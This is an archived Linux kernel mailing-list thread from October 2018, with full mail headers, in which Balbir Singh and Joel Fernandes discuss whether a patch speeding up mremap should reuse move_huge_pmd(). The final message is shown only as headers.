Path: news.gmane.org!.POSTED!not-for-mail
From: Balbir Singh <bsingharora@gmail.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] mm: speed up mremap by 500x on large regions (v2)
Date: Sat, 27 Oct 2018 21:21:02 +1100
Lines: 20
Approved: news@gmane.org
Message-ID: <20181027102102.GO8537@350D>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-3-joel@joelfernandes.org>
 <20181024101255.it4lptrjogalxbey@kshutemo-mobl1>
 <20181024115733.GN8537@350D>
 <20181025021350.GB13560@joelaf.mtv.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540635565 7904 195.159.176.226 (27 Oct 2018 10:19:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 27 Oct 2018 10:19:25 +0000 (UTC)
User-Agent: Mutt/1.9.4 (2018-02-28)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 kvmarm@lists.cs.columbia.edu, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begemot.co.uk,
 Ingo Molnar <mingo@redhat.com>, Geert Uy
To: Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Oct 27 12:19:16 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gGLgZ-0001sF-TP
	for gla-linux-snps-arc@m.gmane.org; Sat, 27 Oct 2018 12:19:16 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=WOxIW/nPLy7Rt0f4i3YQkVCRVK7+S3eEt3luQqHVr8g=; b=Xi/S0xTc10L/3b
	cV2vG9fZHyqaYQVCKdzQKJ/ChAOGHXc6Hc4P8sb5ZR2pUYF+Dazwg+NoUKyfZo/OqsLY7Yn8zoMT6
	mi/IuP0OWXpP/xFy/trW39QcUJ75H8wHv9bIYHfZsomztCAXNeZNkprjxYEKUcwhM8Fa8RITdZb7h
	lnzddadVn73vuzn8vJPVV69e3AYqIOqL1znRgXF3cZJ0zKCgmBtnpXqhw2tXar8T+l0F3vz+TuysU
	5i1+82jZaOkqCdTVK76dHzkHlvUvNzBRPj8qdoVmVNmh09f25mOgUAuhkj3zc4MfPqSE0OgG12Cs4
	ZsxBoyZZU0bY1lpJzWOg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gGLie-0004Aq-5H; Sat, 27 Oct 2018 10:21:24 +0000
Original-Received: from mail-pl1-x644.google.com ([2607:f8b0:4864:20::644])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gGLiZ-00049B-Lz; Sat, 27 Oct 2018 10:21:21 +0000
Original-Received: by mail-pl1-x644.google.com with SMTP id f10-v6so1632484plr.1;
 Sat, 27 Oct 2018 03:21:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=Ytoc7E/E+CDN+36oMCq4ib7UWrIKwi1XigueqliThJE=;
 b=ab1knh/8i2Gpv4Vxfi+YDSBKbX/LgufE79cYPr5GJEdQUVQbI970thsDIy0ZjV1q0k
 ZSfcWvh4GTM9Brshk9p+y4tQ9MlVv9xCOgRN+Mkl3IacQhaurmJjOF4ISMav3UWSPWT0
 QDI4JUUMAIPA35q0/cXsitIc3ySa7+/5ANkq6TLz2UHPpSbIN1fzgNHsIaIbSC3XX++1
 mylMnA2ff0XDd2sL+yXZDHQHXijLBXi1MJNMHNoE52RFFgyL7H1Hr53le1mRs/9vRlLJ
 8fln4V5coK7PbseEtgyE6znLwjAsimR/DLzPXzQyaRXpcBZcO/1WMqn8CO3ILrNZhl0z
 +0sw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=Ytoc7E/E+CDN+36oMCq4ib7UWrIKwi1XigueqliThJE=;
 b=Lq6+b47hD2UKD5ywqwdhGkXh8LUNa+nwrSz/DFQnMsCKUd3/2aVP3JhRdgr8DJrVFq
 QY3PDd1eVBjEDPDyz6Hzju8AWA97DWuyG+TiTXwbxTawT9uCOT4OeMwLKMxrzDI9pN5d
 chxmFtwDTwr/ipKf3Pig8COSMd343MPyd3RW38qlQjNqOYDPVSiEW9XT/Bk7p1HfPJ8F
 EQxFVxjGGQnlqDsYdciAi3spusH/OGLYBh3bQavDUn+Fp1PUDLovkNhJz4q4KkEvya/c
 np5okdsNh5zUhik772yScEdyr9OJesG2SlzK9WxuTwOF0KzCZPwSflqul0kz0YatWelw
 J0XA==
X-Gm-Message-State: AGRZ1gIWZfTod4M0+ajRgc8jjDi3Jz/QaI0tzSm540ro6WuMuXBQaWZZ
 wkZExGkErEkWuuddlDvbdaE=
X-Google-Smtp-Source: AJdET5dClbYQTLuFDbJ+0gDgS5/Hrs1bQO5PPuAbjI+vFXrDoU6PrAD4ZO8YmfARdAwQaa7m0KGriw==
X-Received: by 2002:a17:902:76c3:: with SMTP id
 j3-v6mr6882579plt.339.1540635667807; 
 Sat, 27 Oct 2018 03:21:07 -0700 (PDT)
Original-Received: from localhost (14-202-194-140.static.tpgi.com.au. [14.202.194.140])
 by smtp.gmail.com with ESMTPSA id
 z129-v6sm17506690pfb.40.2018.10.27.03.21.05
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Sat, 27 Oct 2018 03:21:06 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20181025021350.GB13560@joelaf.mtv.corp.google.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181027_032119_727705_4260A1AA 
X-CRM114-Status: GOOD (  13.30  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:644 listed in] [list.dnswl.org]
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (bsingharora[at]gmail.com)
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4627 gmane.linux.ports.mips.general:67200 gmane.linux.ports.ia64:29454 gmane.linux.ports.sh.devel:57701 gmane.linux.kernel.mm:206063 gmane.linux.ports.sparc:28677 gmane.linux.ports.riscv:1237 gmane.comp.emulators.kvm.arm.devel:19600 gmane.linux.ports.hexagon:1967 gmane.linux.ports.parisc:29254 gmane.linux.kernel:2909168 gmane.linux.ports.alpha:5383 gmane.linux.ports.ppc64.devel:164963
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4627>

On Wed, Oct 24, 2018 at 07:13:50PM -0700, Joel Fernandes wrote:
> On Wed, Oct 24, 2018 at 10:57:33PM +1100, Balbir Singh wrote:
> [...]
> > > > +		pmd_t pmd;
> > > > +
> > > > +		new_ptl = pmd_lockptr(mm, new_pmd);
> > 
> > 
> > Looks like this is largely inspired by move_huge_pmd(), I guess a lot of
> > the code applies, why not just reuse as much as possible? The same comments
> > w.r.t mmap_sem helping protect against lock order issues applies as well.
> 
> I thought about this and when I looked into it, it seemed there are subtle
> differences that make such sharing not worth it (or not possible).
>

Could you elaborate on them?

Thanks,
Balbir Singh. 

From - Thu Nov 08 21:42:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] mm: speed up mremap by 500x on large regions (v2)
Date: Sat, 27 Oct 2018 12:39:17 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <20181027193917.GA51131@joelaf.mtv.corp.google.com>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-3-joel@joelfernandes.org>
 <20181024101255.it4lptrjogalxbey@kshutemo-mobl1>
 <20181024115733.GN8537@350D>
 <20181025021350.GB13560@joelaf.mtv.corp.google.com>
 <20181027102102.GO8537@350D>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540669059 17614 195.159.176.226 (27 Oct 2018 19:37:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 27 Oct 2018 19:37:39 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 kvmarm@lists.cs.columbia.edu, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begemot.co.uk,
 Ingo Molnar <mingo@redhat.com>, Geert Uy
To: Balbir Singh <bsingharora@gmail.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Oct 27 21:37:29 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gGUOk-0004NM-KH
	for gla-linux-snps-arc@m.gmane.org; Sat, 27 Oct 2018 21:37:27 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=Tx99ZmAk1IHfaAPaduPZzToSpC7GIAxdTyLD+dUpJWo=; b=TkrHpQLA86QNIz
	ptgg5MSRMhE6RTZBvX0n4F/cMfnicIZOLo4wY6ER4XPHPK+iBFv6Kd7Rs6STlpv2BPPWGqTXMt+FV
	2zR423kYCX/F+L5LkFVy9XSh7SbTQbFPNAfeIl2EghQx2XCAT3DlG7eqiftBbJWV4+GApKiLazzWc
	tPP6Ryc93cNIyC8Ync+5ZNO0JvIE1GmoR0nPYDPvLrhZprloxTjU08Hm/M0LkOFRMr/8XnlfLymp/
	3IIlWqRUDvYOBIIefk968rKY8wg4ELbXStSHRKMXcSXY3UYgzj7V28ED9xTGEtXk7JO+tOcX92YNS
	bn6canQwmQG6de10w33Q==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gGUQp-0002p3-Er; Sat, 27 Oct 2018 19:39:35 +0000
Original-Received: from mail-pl1-x644.google.com ([2607:f8b0:4864:20::644])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gGUQl-0002nb-Dm
 for linux-snps-arc@lists.infradead.org; Sat, 27 Oct 2018 19:39:33 +0000
Original-Received: by mail-pl1-x644.google.com with SMTP id p5-v6so1966115plq.8
 for <linux-snps-arc@lists.infradead.org>; Sat, 27 Oct 2018 12:39:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=AHWCz3fu9TpC7J2ei9HeEkNKgFxDHuGGuLqn4Rh+JHE=;
 b=QPtsyBSUj6AojIo85azY8oUVJwGhm0RIqVohzSIMkkWGL/CZwEBPHYTna50E7Om4WA
 F5z18wGfy8lz5xFwg1vCwZ9ySWUf9QkWrrkAXwGsE1TwsrZ1HoqAWixpXJ3DliywdJzW
 CxbFyNe852Wb89cMxFXqW5ZHR3ew/TXqEJ1ok=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=AHWCz3fu9TpC7J2ei9HeEkNKgFxDHuGGuLqn4Rh+JHE=;
 b=B0e4DoTW8JMI3mz+vUkR1VoLF5kMV/bONDd9GF7kxZqMINBYKe23ygD4uCKjw8e18i
 CqRVxoDG9i0wvsw4ENd3W2xJHu0T1OevnKHznKm15DcKDJ9XwRVsdDCcqhgws3LYbfUm
 oqL6rcfUHum7SnseL5bY81D1mM38iqZDX/epsa48YTePWIHnaqys26QSHFyZG6RV1HhG
 qB7bqQMiJk0KBEHgs2GDdK6MVZ2iTfR5XUvoEYrjDuBCkQrlYuoaCXw2o8kIs/ijn8br
 46/qyOd3fGvnx+AJHeopoGfj2xWPuiAmIal/D9aWV8JrldBOkcQZfQ83f3poMFa0MUDI
 z8Pw==
X-Gm-Message-State: AGRZ1gIa4D0XyrlrsnxK1eD4pllVx/WuYXTVwjxwVkuSmlrXcdIkvCXw
 PI7sUGbRvZQajJ6EFbtJtDd6fA==
X-Google-Smtp-Source: AJdET5f21mfpbfgLffX+k0qGngh7x8A4g9m9LTX1FSqvBjQFfP0xKIMF/O60+aOyl9qi4XLET8IsYQ==
X-Received: by 2002:a17:902:3381:: with SMTP id
 b1-v6mr8190467plc.323.1540669159792; 
 Sat, 27 Oct 2018 12:39:19 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id 11-v6sm23945581pfs.108.2018.10.27.12.39.18
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Sat, 27 Oct 2018 12:39:18 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20181027102102.GO8537@350D>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181027_123931_532765_F65EFA4F 
X-CRM114-Status: GOOD (  17.18  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:644 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4628 gmane.linux.ports.mips.general:67201 gmane.linux.ports.ia64:29456 gmane.linux.ports.sh.devel:57702 gmane.linux.kernel.mm:206065 gmane.linux.ports.sparc:28678 gmane.linux.ports.riscv:1238 gmane.comp.emulators.kvm.arm.devel:19601 gmane.linux.ports.hexagon:1968 gmane.linux.ports.parisc:29255 gmane.linux.kernel:2909246 gmane.linux.ports.alpha:5384 gmane.linux.ports.ppc64.devel:164964
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4628>

Hi Balbir,

On Sat, Oct 27, 2018 at 09:21:02PM +1100, Balbir Singh wrote:
> On Wed, Oct 24, 2018 at 07:13:50PM -0700, Joel Fernandes wrote:
> > On Wed, Oct 24, 2018 at 10:57:33PM +1100, Balbir Singh wrote:
> > [...]
> > > > > +		pmd_t pmd;
> > > > > +
> > > > > +		new_ptl = pmd_lockptr(mm, new_pmd);
> > > 
> > > 
> > > Looks like this is largely inspired by move_huge_pmd(), I guess a lot of
> > > the code applies, why not just reuse as much as possible? The same comments
> > > w.r.t mmap_sem helping protect against lock order issues applies as well.
> > 
> > I thought about this and when I looked into it, it seemed there are subtle
> > differences that make such sharing not worth it (or not possible).
> >
> 
> Could you elaborate on them?

The move_huge_page function is defined only for CONFIG_TRANSPARENT_HUGEPAGE
so we cannot reuse it to begin with, since we have it disabled on our
systems. I am not sure if it is a good idea to split that out and refactor it
for reuse especially since our case is quite simple compared to huge pages.

There are also a couple of subtle differences between the move_normal_pmd and
the move_huge_pmd. Atleast 2 of them are:

1. We don't concern ourself with the PMD dirty bit, since the pages being
moved are normal pages and at the soft-dirty bit accounting is at the PTE
level, since we are not moving PTEs, we don't need to do that.

2. The locking is simpler as Kirill pointed, pmd_lock cannot fail however
__pmd_trans_huge_lock can.

I feel it is not super useful to refactor move_huge_pmd to support our case
especially since move_normal_pmd is quite small, so IMHO the benefit of code
reuse isn't there very much.

Do let me know your thoughts and thanks for your interest in this.

thanks,

 - Joel

From - Thu Nov 08 21:42:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Balbir Singh <bsingharora@gmail.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] mm: speed up mremap by 500x on large regions (v2)
Date: Mon, 29 Oct 2018 09:40:02 +1100
Lines: 52
Approved: news@gmane.org
Message-ID: <20181028224002.GA16399@350D>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-3-joel@joelfernandes.org>
 <20181024101255.it4lptrjogalxbey@kshutemo-mobl1>
 <20181024115733.GN8537@350D>
 <20181025021350.GB13560@joelaf.mtv.corp.google.com>
 <20181027102102.GO8537@350D>
 <20181027193917.GA51131@joelaf.mtv.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540766333 6351 195.159.176.226 (28 Oct 2018 22:38:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 28 Oct 2018 22:38:53 +0000 (UTC)
User-Agent: Mutt/1.9.4 (2018-02-28)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 kvmarm@lists.cs.columbia.edu, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begemot.co.uk,
 Ingo Molnar <mingo@redhat.com>, Geert Uy
To: Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sun Oct 28 23:38:43 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gGthj-0001Sk-14
	for gla-linux-snps-arc@m.gmane.org; Sun, 28 Oct 2018 23:38:43 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=86zPSj3Vo3zNZ+03/1Ii+o45YWVho9se3Kw3h7S0I4s=; b=X1efaUdSNItEcw
	aD9LkLh5rpjTQhHK+BWuhVqzHDDE7xHbmN9vOs3o/PiXB4SzJs8NuSX4rrll4z+Cf6uCc1bNRhIm0
	ahePxOCwsj/ordcBDX1CpouPYMtkI09/jXjJFXLKC20+DpwvPYtrKmE1l7oe1jgpi2E9K8eAjbOds
	YhoXbK6rLVbqggGtEzFj3jKmnT5kJVhOhN80XGL8pXIdgDDVk2aUwTELa717jTJ2UzNWQxPI7hLzY
	L/O9zrYUHfOR9OlYL1dukVPJh8az8FhRVqhf/d/5Muu3uyZNjde2U1oQfJKLzp1geJqHw7v1Fs0P8
	a5V4gkLc0gLpbtewKIJA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gGtjm-0007g6-5V; Sun, 28 Oct 2018 22:40:50 +0000
Original-Received: from mail-pg1-x544.google.com ([2607:f8b0:4864:20::544])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gGtjG-00074P-HD; Sun, 28 Oct 2018 22:40:20 +0000
Original-Received: by mail-pg1-x544.google.com with SMTP id n10-v6so2918360pgv.10;
 Sun, 28 Oct 2018 15:40:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=GFtksEV3l5eq+mnfMA1OwOjA0oBp/IcRdRQ8wGi247I=;
 b=hzlz7jFWANzmnQYBfUjAY47ntJv9ruGodd92q7E4yeWjWXy4EZl6bPRcEO0kKVxcET
 8l/LxbyoIEOMIv2Qws7VhhdBdB2WSqhVRO2xFO6BoL6UVCnvmAbklAgUnFIPczbls2XR
 8t+tWl9FODh8azBtSJSVtOJ8ASXQGH4rOt//srkRKwJB3n5TPhA7eLFTkuIKOx//Tn6i
 wCdbM58gxJCZ3Wya+Xx9knz+xP1bKelI2gOlUgbKzh9xt2GwpzMnGwoSI1DVJtDgp4Fn
 d+gXcEV0Ha0CDx7RrL2gR1D2FtTk3tSVbj1J8r71HdedlxSopPgWOCsGk19JAS3kF9ps
 MWOA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=GFtksEV3l5eq+mnfMA1OwOjA0oBp/IcRdRQ8wGi247I=;
 b=OJCX2XELqG2+GNJ91kYO3ny+9wM3TJCzF6uklam92qKkxO4NPQvMXDpWFX7pN0n1u9
 K3Vs1dTTVoXn82VTqPz7xE7ScsjBUgpfRqWP92wQPaCTq8KOXOKu1qQEcTX0CfsCtcdN
 ZyXXYOx8H2cEksHmewgw9LmFGKzo9KlskJ+Osjwa6tHjfuXNY5ojq1RCBzsHtMrI46tS
 WcmgPQAhIhvmM637ptPNysUm4B1W06RcSXM432Mv7G5m+8yX708bJnO8XnDdROG0N1UV
 64TdBHR97Exa3/wDhYT/jGrXLgE11e99y7Z+Uuj/Xmh2kYxBClGuWGjREyiy34BHIgRb
 nXjQ==
